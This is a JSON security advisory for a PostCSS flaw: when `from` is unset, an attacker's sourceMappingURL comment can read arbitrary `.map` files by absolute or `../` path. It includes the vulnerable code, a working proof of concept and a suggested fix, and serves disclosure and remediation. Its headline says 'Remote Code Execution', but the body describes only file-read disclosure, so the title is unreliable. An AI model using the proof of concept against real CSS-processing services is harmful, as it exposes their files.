CVE-2026-69153: PostCSS Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fxqj-rqcc-2cmp",
  "modified" : "2026-08-03T17:11:39Z",
  "published" : "2026-08-03T17:11:39Z",
  "aliases" : [ "CVE-2026-69153" ],
  "summary" : "PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset",
  "details" : "## Summary\n\nThe fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check.\n\n`PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map.\n\n## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)\n\n```js\n// lib/previous-map.js\nloadFile(path, cssFile, trusted) {\n  if (!trusted && !this.unsafeMap) {\n    if (!/\\.map$/i.test(path)) {\n      return undefined\n    }\n    if (cssFile) {                       // guard runs ONLY when `from` is set\n      let relativePath = relative(dirname(cssFile), path)\n      if (relativePath === '..' ||\n          relativePath.startsWith('..' + sep) ||\n          isAbsolute(relativePath)) {\n        return undefined\n      }\n    }\n  }\n  this.root = dirname(path)\n  if (existsSync(path)) {\n    this.mapFile = path\n    return readFileSync(path, 'utf-8').toString().trim()   // sink\n  }\n}\n\n// loadMap(): untrusted annotation path, trusted=false; file === opts.from\n} else if (this.annotation) {\n  let map = this.annotation\n  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL\n  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy\n```\n\n## Proof of concept (verified on postcss 8.5.22)\n\n```js\nconst postcss = require('postcss')\nconst fs = require('fs')\n\n// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)\nconst secret = '/tmp/pcpoc/secret_out_of_tree.map'\nfs.writeFileSync(secret, JSON.stringify({\n  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],\n  sourcesContent: ['TOP_SECRET_abcdef']\n}))\n\nconst css = 'a{color:red}\\n/*# sourceMappingURL=' + secret + ' */'\nconst leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')\n\n;(async () => {\n  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed\n  const a = await postcss([]).process(css, { map: true })\n  console.log('no from   -> leaked:', !!leaks(a.map))   // true\n\n  // B) WITH `from` -> guard active -> blocked\n  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })\n  console.log('with from -> leaked:', !!leaks(b.map))    // false\n})()\n```\n\nObserved output on postcss 8.5.22:\n\n```\nno from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map\nwith from -> leaked: false     # guard rejects the absolute path\n```\n\n`../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix.\n\n## Impact\n\nArbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON.\n\n## Suggested fix\n\nApply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "postcss"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.5.23"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.5.22"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/postcss/postcss"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/postcss/postcss/releases/tag/8.5.19"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-03T17:11:39Z",
    "nvd_published_at" : null
  }
}